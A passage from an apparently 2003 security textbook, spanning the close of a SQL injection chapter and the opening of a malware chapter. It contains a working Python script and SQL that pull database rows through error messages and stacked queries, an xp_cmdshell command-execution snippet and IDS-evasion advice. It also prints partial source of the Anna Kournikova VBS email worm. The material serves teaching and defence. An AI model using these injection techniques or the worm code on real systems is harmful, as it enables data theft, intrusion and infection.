Tải bản đầy đủ
Phase 3. Getting the Results of Arbitrary Queries

Phase 3. Getting the Results of Arbitrary Queries

Tải bản đầy đủ

AU0888_C13.fm Page 525 Wednesday, October 1, 2003 6:09 AM

• Use error messages as a means of getting data back from the database server, such as the “First Article” string above (common).
Getting packets back to the Internet may be possible on some configurations. You can tunnel data through DNS or use stored procedures to
execute commands that will TFTP or otherwise transfer files between an
outside server under your control and the database server. You can even
use OpenRowSet() to make a connection between your target database
server and a database server you control, over any TCP port, and get
your results that way.
However, in the event that no network connectivity exists between
your target database server and the Internet or any network you have
access to, you can still plunder the database without regards to the network topology.
We will first explain here a generic method for exploiting Microsoft SQL
Server (or most other similar SQL servers) via the error messages
produced on certain queries. We have already seen that certain queries
can return the text contents of variables. To make this clear, we now give
you an example SQL script, which will show that Microsoft SQL error
messages can be used to display arbitrary variables:
DECLARE @tmp0 varchar(8000)
set @tmp0 = '1'
set @tmp0 = @tmp0+'a'
SELECT * from master..sysfiles1 group by
status,fileid,name,filename
having @tmp0 = 1
Result:
Syntax error converting the varchar value '1a' to a column
of data type int.
State:22005,Native:245,Origin:[Microsoft][ODBC SQL Server
Driver][SQL Server]

Given a valid table (in this case, we use master..sysfiles1) and its column
names (these are standard for this system table and should be the same on
any Microsoft SQL server), we can output the contents of tmp0, regardless
of what type they are, including integer, which we automatically cast to a
string and append a lowercase “a” to.
Given this ability, and the ability to execute multiple SQL statements in
a row, we can then build queries that iterate through any table on the database and print out all of its members. To do this, you have to know that the
system table sysobjects contains a list of all the tables and stored procedures on the database.

© 2004 by CRC Press LLC

AU0888_C13.fm Page 526 Wednesday, October 1, 2003 6:09 AM

SELECT * from sysobjects where type = ‘U’ will return a list of all the
tables, for example. You can also get this information by reading the
INFORMATION_SCHEMA.TABLES view.
So to sum up our procedure for dumping an entire database server’s
worth of information, or any subset thereof, in pseudo-code:
Iterate through all the databases (via system table):
Iterate through all the tables on this database (via
system table):
Iterate through all the rows on this tables (via FETCH
ABSOLUTE and a cursor):
Iterate through all the columns in this row
(discovered via error messages):
print out the item (via an error message)

Obviously this can take a long time on a large database, but as it is somewhat generic, it is suited for a Python script that operates on its own, given
a few variables, such as the page the SQL injection vulnerability occurs on.
Another way to get the results of our query back is to save the results of
our query as a string, and then store that string as an article. This technique, usable on most database types, but needing to be customized to
each particular Web application, is not as easily automated. Once it is
done, however, an attacker will build this into a script that can perform the
“print out an item” section as used above.
Exhibit 12 shows a Python script that demonstrates the concept.
As you can see, requesting http://192.168.1.108/article3.asp?ID = 666
returned the contents of the sysfiles1 table, row number 0. (If on your
machine this is not the case, try hitting shift-reload on your browser.) This
process of pulling back the data could then be repeated for any table in the
database that we wanted to bring back, and it likely would be automated as
well to bring back the entire database.
One common wish among database hackers is to execute commands
and be able to see the results. One quick way is to execute this script and
then bring back the contents of the cmdoutput table via one of the methods described above. Remember, if xp_cmdshell is not available, you may
be able to reload it as described in section “Hacking Microsoft SQL Server.”
CREATE TABLE cmdoutput (output varchar(8000))
INSERT cmdoutput EXEC xp_cmdshell "dir"

So now we have what we want, one way or the other. We can pull down
tables, and we can execute commands and view the results. Using BULK

© 2004 by CRC Press LLC

AU0888_C13.fm Page 527 Wednesday, October 1, 2003 6:09 AM

Exhibit 12. Python Script
#!/usr/bin/python
#this script copies a row (rownum)
#from an arbitrary table with "columns" number of columns
#and displays by inserting it into the articles table
#and then requesting it as if it was an article
#This Python script is for Python 2.2 or above
#(c) Dave Aitel 2002, Released under the GPL v2.0
import urllib
startquery = "DECLARE mycursor CURSOR SCROLL FOR "
tablename = "sysfiles1"
selectstatement = "SELECT * from "+tablename
selectstatement+ = ";OPEN mycursor;"
#how many columns in this table
columns = 4
#which row we want to request
rownum = 0
vars = []
declarevars = "DECLARE @tmp varchar(8000);"
for i in range(0,columns):
newvar = "@tmp%d"%i
vars+ = [newvar]
declarevars+ = "DECLARE "+newvar+" varchar(8000);"
fetchquery = "FETCH ABSOLUTE "+str(rownum)+" FROM mycursor
into "+,”.”join(vars)+";"
deleteit = "DEALLOCATE mycursor;"
deleteit+ = "DELETE FROM tblarticles WHERE id = 666;"
setit = "SET @tmp = 'Var:'+"+"+' Var:'+.”join(vars)+";"
insertit = "INSERT INTO tblarticles (name,id,data) VALUES
(\"hacker article\,”666,@tmp);"
endquery = " — "
wholequery =
(startquery+selectstatement+declarevars+fetchquery+delete
it+setit+insertit+endquery)
print "Whole Query:\n"+wholequery.replace(";,”"\n");
wholequery = urllib.quote_plus(wholequery)

© 2004 by CRC Press LLC

AU0888_C13.fm Page 528 Wednesday, October 1, 2003 6:09 AM

Exhibit 12 (continued). Python Script
response =
urllib.urlopen("http://192.168.1.108/article3.asp?1;"+who
lequery).read()
print "First Response: "+response
response =
urllib.urlopen("http://192.168.1.108/article3.asp?ID =
666").read()
print "Second Response: "+response

INSERT, we can also read files. This is everything a hacker needs to penetrate further onto the box, perhaps using it as a platform to hack the Web
server tier, or loading an intelligent Trojan that tries to make a connection
back to the hacker via covert channels. None of this, aside from accessing
xp_cmdshell, which was optional, required special privileges of any kind.
As a final note on this process, you should always attack Web-based
applications over Secure Sockets Layer (SSL), if possible, as this thwarts
network-based Intrusion Detection Systems (IDSs).
Conclusions
Although the SQL injection demonstration section focused on Microsoft
SQL Server, these techniques are identical to those used on Oracle,
MySQL, DB2, or another relational database server platform. In fact,
almost every database platform has suffered a series of similar problems:
overflow problems in their protocol listeners, overflow problems in their
stored procedures, and problems with SQL injection. Previously the
squishy insides of your security perimeter, databases are now being
pushed further to the extremities of many organizations as they reach out
to better connect with partners and customers. Be aware though, of the
risks even a seemingly innocuous user input validation error can pose,
and understand that although the database vendors themselves assure
you their databases are completely secure, the pressures on them to
deliver performance and features preclude almost any effort at security
for their products.

© 2004 by CRC Press LLC

AU0888_C14.fm Page 529 Wednesday, October 1, 2003 6:10 AM

Chapter 14

Malware
and
Viruses
Felix Lindner

What is a computer virus? According to the definition at the “Computer
virus Frequently Asked Questions (FAQs) for new users”:1
A computer virus is a program designed to spread itself by first infecting
executable files or the system areas of hard and floppy disks and then
making copies of itself. Viruses usually operate without the knowledge or
desire of the computer user.

This definition might match what most readers understand about
viruses (or virii, as the computer underground used to call them). But the
field is much larger than this. In 1999, the world became aware of a form of
hostile code referred to as a worm. Worms were around for quite some time
but were not as prevalent as viruses. The same principle will probably hold
true going forward for every new widespread infection of computer systems with something that the users of those systems did not plan to run in
the first place.
To circumvent the naming issues and put everything under one hood,
the security community has established the term “malware.” This term
describes any type of hostile code running on a computer system with the
owner not knowing or not able to remove it in a simple way. The term itself
does not sound very descriptive because it basically says “evil program”
— but there is really no better way to describe the large range of threats
posed by malware. Malware has several subgroups that the reader should
know about:
• Viruses — Viruses are the most widely known group of malware.
They are program code or instruction sets for the target platform.
They infect program code or documents capable of running interpreted instructions. One characteristic feature of viruses is that they
normally depend on a user’s intervention to spread. The user must
© 2004 by CRC Press LLC

AU0888_C14.fm Page 530 Wednesday, October 1, 2003 6:10 AM











copy files to another computer, exchange floppy disks or hard drives,
or transport the host file (and with it the virus) to another system
in some other way. One key point to note is: Viruses do not depend
on security vulnerabilities or other software malfunctions.
Worms — Worms use networked environments as their means of
infection. They range from simple implementations, which depend
on a user to click on something, to more sophisticated ones that
exploit security vulnerabilities in software to replicate and infect
automatically. The reader is probably familiar with these two types
of worms since the outbreaks of the LOVE-Bug and CodeRed.
Backdoors — A backdoor is a program that allows unauthorized
access to a normally protected computer system. Most backdoors
found on today’s computers are applications developed for this
exact purpose; the most well-known ones are NetBus and Back Orifice. But there are also backdoors in many commercial applications.
These are commonly called “emergency access” or “password recovery” procedures by vendors — but they are not always used just for
this purpose. Especially in the network device arena, these backdoors are fairly common and often either not documented or forgotten by the company that once made them.
Logic bombs — Logic bombs are one of the least well-known forms
of malware. Here, the malware does not replicate itself, and its
author is not even interested in infecting other systems. The goal of
the author is rather to place a planned malfunction in software that
is triggered by a specific combination of events. Logic bombs are
most often found in large-scale commercial products. Although the
vendors usually do not want them to be in there, programmers often
find a way to hide these planned issues in their code.
Spyware — Spyware applications are simply code that behaves much
like a virus or worm but does not seek replication once the target
system is infected. Its whole purpose is to use viral techniques to
hide itself on the victim system and collect a predefined set of
information. This can range from the keys pressed on the keyboard
to credit card numbers or simply the Web pages visited. Spyware is
often installed “by hand” on the target system but sometimes also
comes in e-mail or as undesired part of the install routine of a legal
software package downloaded from a semilegal Web site.
Adware — Strangely enough, the fight for intelligence on customer
behavior has produced a commercial version of spyware. This socalled adware is technically exactly the same as spyware. The only
difference is the purpose: where spyware is usually used by the Black
Hat community to capture passwords used on the target system,
adware is used to track customers around the Web, find illegal copies
of commercial software on their computers, or inject advertisements
into their applications. Although it seems to be a very far-fetched

© 2004 by CRC Press LLC

AU0888_C14.fm Page 531 Wednesday, October 1, 2003 6:10 AM

Exhibit 1. Virus Warning

Found at http://deekoo.net

VIRAL WARNING VIRUS WARNING VIRAL WARNING
Your computer may be infected with the new “Stupidity” Trojan, a
hacked variant of “I love you” which has crashed the systems of several
large corporations recently. Symptoms of infection include random
system crashes, network disconnections, and network slowdowns.
Stupidity permits malicious individuals to take control of your machine
and read, write, or delete files on your computer.
To detect Stupidity: Search (using the Find menu option) for files called
“Kernel32.dll,” “Open Transport,” or “libc.so.6.” These are the remotecontrol modules used by the program; if you delete them, malicious
individuals will be unable to use Stupidity to attack your machine.
Stupidity attempts to mark these files read-only; if it won’t let you delete
them, reboot your computer from a CD-ROM or a write-protected floppy
disk and delete them.
Please forward this warning to anyone you believe may have Stupidity.
If you have received this message after December 25th, 2001, please
ignore it — Stupidity will have already deleted itself from your
hard drive.

VIRAL WARNING VIRUS WARNING VIRAL WARNING
scenario, adware is commonly used in many applications these days.
Simple tests with randomly selected Windows personal computers
(PCs) from several “normal” users have shown an enormous amount
of information about their systems sent back to several servers
belonging to companies that run advertising services.
• Hoaxes — Although it is not strictly malware, hoaxes also fit this
category. Virus warnings — especially via e-mail — have helped to
keep a lot of customers informed and prevented infinite numbers of
viruses and worms from spreading. But this very process of sharing
information has become a target itself. People make up virus warning
messages about viruses that simply do not exist. These messages
might include sound company names and the request to forward this
e-mail to everyone in your address book. Now, by doing so, the user
has replicated the behavior of e-mail worms such as the LOVE-Bug.
Hoaxes are basically a simple worm that uses fear instead of code
to replicate itself.
A rather funny version of such a hoax is the one shown in Exhibit 1, but it
shows the issues surrounding hoax messages: If you follow the advice to

© 2004 by CRC Press LLC

AU0888_C14.fm Page 532 Wednesday, October 1, 2003 6:10 AM

delete the mentioned files, your Windows system (kernel32.dll) or Macintosh
(“Open Transport”) or Linux system (libc.6.so) will become useless and
you might end up reinstalling everything.
Ethics Again
The community of people who write or wrote viral code or other malware
have spent approximately the same amount of time discussing the ethics
involved in creating hostile code as the hacker community has in discussing system/network penetration. In contrast to vulnerability research, writing malware serves a clear purpose that can hardly be seen as any good —
so virus writers find themselves very often confronted with hatred and
flames from the computer community at large, including hackers. Ethics
discussions concerning malware may be less concerned with the creation
of viruses but rather with things commonly grouped under the categories
of spyware, adware, and logic bombs.
Software companies — especially those with a large customer base and
an easily replicable and usable product — have been interested in preventing the making of pirate copies of their software for a long time. Many
different approaches were taken to protect software from getting copied
and installed on another computer, involving hardware, software, and
cryptographic solutions. The problem remained the same: creating copy
protection is fighting windmills. But the approaches taken today, when
you expect most (if not all) personal computers to be able to access the
Internet, are quite different. Now, a fresh installation of a valid copy of
Microsoft’s Office XP requires you to send a block of information to
Microsoft or your several-hundred-dollar product will simply stop working. Many other applications require you to obtain a certain license key
from the company’s Web page or submit all kinds of personal information
via a convenient “Register” button.
The bundling of so-called shareware software and adware has generated
heated discussions. The common point of view of the software companies
is: as long as the user does not pay for the software, the user might as well
see advertisements which we can sell to our customers. But once in a
while, a shareware program gets installed that includes a little adware program without the user knowing. The author has found several shareware
programs distributed by large software portal sites that include these uninvited little gizmos — some of them really hard to remove from the system.
The question remains: is this a backdoor or spyware, or could you call a
removal-resistant piece of software a virus?
Target Platforms
Virus and worm infections are mostly known to happen on Microsoft
operating system platforms, but this is not the only platform impacted.

© 2004 by CRC Press LLC

AU0888_C14.fm Page 533 Wednesday, October 1, 2003 6:10 AM

First of all, virus infections are only platform dependent if they work on a
platform-specific code level (binary code) or use a scripting engine only available on this particular platform. In all other cases — fortunately these are very
few at the moment — the virus or worm does not depend on the platform.
The target platform of a virus or worm depends on the means of execution and reproduction it uses. Script malware requires this script engine to
be present. For example, if a program is available for UNIX systems that is
able to read and execute Microsoft Word macros, a Word virus would be
able to run on this UNIX system. Other so-called cross-platform viruses use
portable formats such as Java as their means of execution.
In the normal case, a virus is written for a specific target platform. This
includes not only the processor and operating system type but also often
such things as specific file permissions or file formats. Most of these
binary viruses are made for Microsoft operating systems starting from
MS-DOS up to Windows XP. But of course, there are virus implementations for the Executable and Linkable Format (ELF) used as executable
file format on many UNIX systems.
In general, viruses are more likely to appear for your Microsoft operating system, but running Linux on your computers does not exclude the
possibility of getting infected.
Script Malware
The simplest forms of malware are those written in simple interpreted languages — commonly referred to as scripts. These are executed on the
infected system using the appropriate script interpreter. Some of the more
common ones are listed here:
• BAT viruses — a very simple form using the batch file interpreter
command.com
• Shell script viruses — more or less simple shell scripts, which replicate themselves on UNIX systems
• BASIC interpreter viruses — although very rare, you might find some
of these in the wild
• Visual Basic viruses — written in a script language most Windows
systems are able to execute
• Visual Basic for Applications (VBA) viruses — commonly referred to
as “office viruses,” because they use the VBA scripting engine
included in Microsoft Office products
Most of these virus implementations are fairly simple scripts. Because
they are interpreted programs, the viruses travel in clear-text via the hard
drive or wire and are easily readable — once you get around the protections
some of them use.

© 2004 by CRC Press LLC

AU0888_C14.fm Page 534 Wednesday, October 1, 2003 6:10 AM

Learning Script Virus Basics with Anna Kournikova
To show the reader how simple VBA viruses are, we will discuss the Anna
Kournikova e-mail worm (see Exhibit 2; Official Names: Onthefly, VBSWG,
I-Worm.Lee.o, SST, VBS_Kalamar2). The worm infected several hundreds of
thousands of systems worldwide (many of them in North America) on the
12th of February 2001. This infection was of a comparable scale to the Melissa virus in 1999.
As the reader can see, the source code is quite short. The worm
arrives via e-mail as an attachment. If the user clicks on the file named
AnnaKournikova.jpg.vbs, the Visual Basic script gets executed on the target
host. The worm manifests its existence on this system by putting a string at
the registry entry HKEY_CURRENT_USER\Software\OnTheFly that says
“Worm made with Vbswg 1.50b.” Then it copies itself to the Windows directory using the constant name AnnaKournikova.jpg.vbs (code line 8).
After the initial infection of the system, the worm checks whether it has
done mass mailing on this system before. It does this by checking the
Registry entry HKEY_CURRENT_USER\Software\OnTheFly\mailed. If this
entry does not exist, the worm will send itself to all users in the messaging
application programming interface (MAPI) address book (call at line 10,
mailing at lines 28–56). The e-mail will always have the subject “Here you have,
;o)” and the body message “Hi: Check This!.” On the 26th of January, the worm
would open a Web page in the Netherlands (http://www.dynabyte.nl).
This kind of worm is easy to spot. It is in plain text and it will not work
correctly on any non-Windows system. In fact, opening such attachments
on UNIX systems has no effect. The worm also relies on the MAPI address
book. If the user uses another mail client that does not offer the address
book via MAPI calls, the worm will not replicate. Despite all these limitations, this worm infected several hundred thousand computers in just one
day. It took the author probably less then a day to write and test it. This is
the key to any kind of script worm: although quite ineffective on the local
system, it becomes a huge threat if the script language in question is able
to directly or indirectly initiate network communication. Other script
worms use local and network replication by infecting all local Word or
Excel documents and sending these to other e-mail addresses.
Binary Viruses
The classic way of writing a virus has become less prominent in the last
year or so because it involves a serious amount of knowledge regarding the
target platform, operating system, and file structure, and is generally written in assembler or C. Also, these viruses do not spread by network communication, in contrast to the binary worms discussed in a later section of
this chapter.

© 2004 by CRC Press LLC

AU0888_C14.fm Page 535 Wednesday, October 1, 2003 6:10 AM

Exhibit 2. Anna Kournikova E-Mail Worm
‘Vbs.OnTheFly Created By OnTheFly
On Error Resume Next
Set WScriptShell = CreateObject(“WScript.Shell”)
WScriptShell.regwrite “HKCU\software\OnTheFly\,” “Worm
made with
Vbswg 1.50b”
Set FileSystemObject =
Createobject(“scripting.filesystemobject”
)
FileSystemObject.copyfile wscript.scriptfullname,
FileSystemObject.GetSpecialFolder(0) &
“\AnnaKournikova.jpg.
vbs”
if WScriptShell.regread
(“HKCU\software\OnTheFly\mailed”) <> “1”
then
doMail()
end if
if month(now) = 1 and day(now) = 26 then
WScriptShell.run “Http://www.dynabyte.nl,”3,false
end if
Set thisScript =
FileSystemObject.opentextfile(wscript.scriptfullname,
1)
thisScriptText = thisScript.readall
thisScript.Close
Do
If Not
(FileSystemObject.fileexists(wscript.scriptfullname))
Then
Set newFile =
FileSystemObject.createtextfile(wscript.
scriptfullname, True)
newFile.write thisScriptText
newFile.Close
End If
Loop
Function doMail()
On Error Resume Next

© 2004 by CRC Press LLC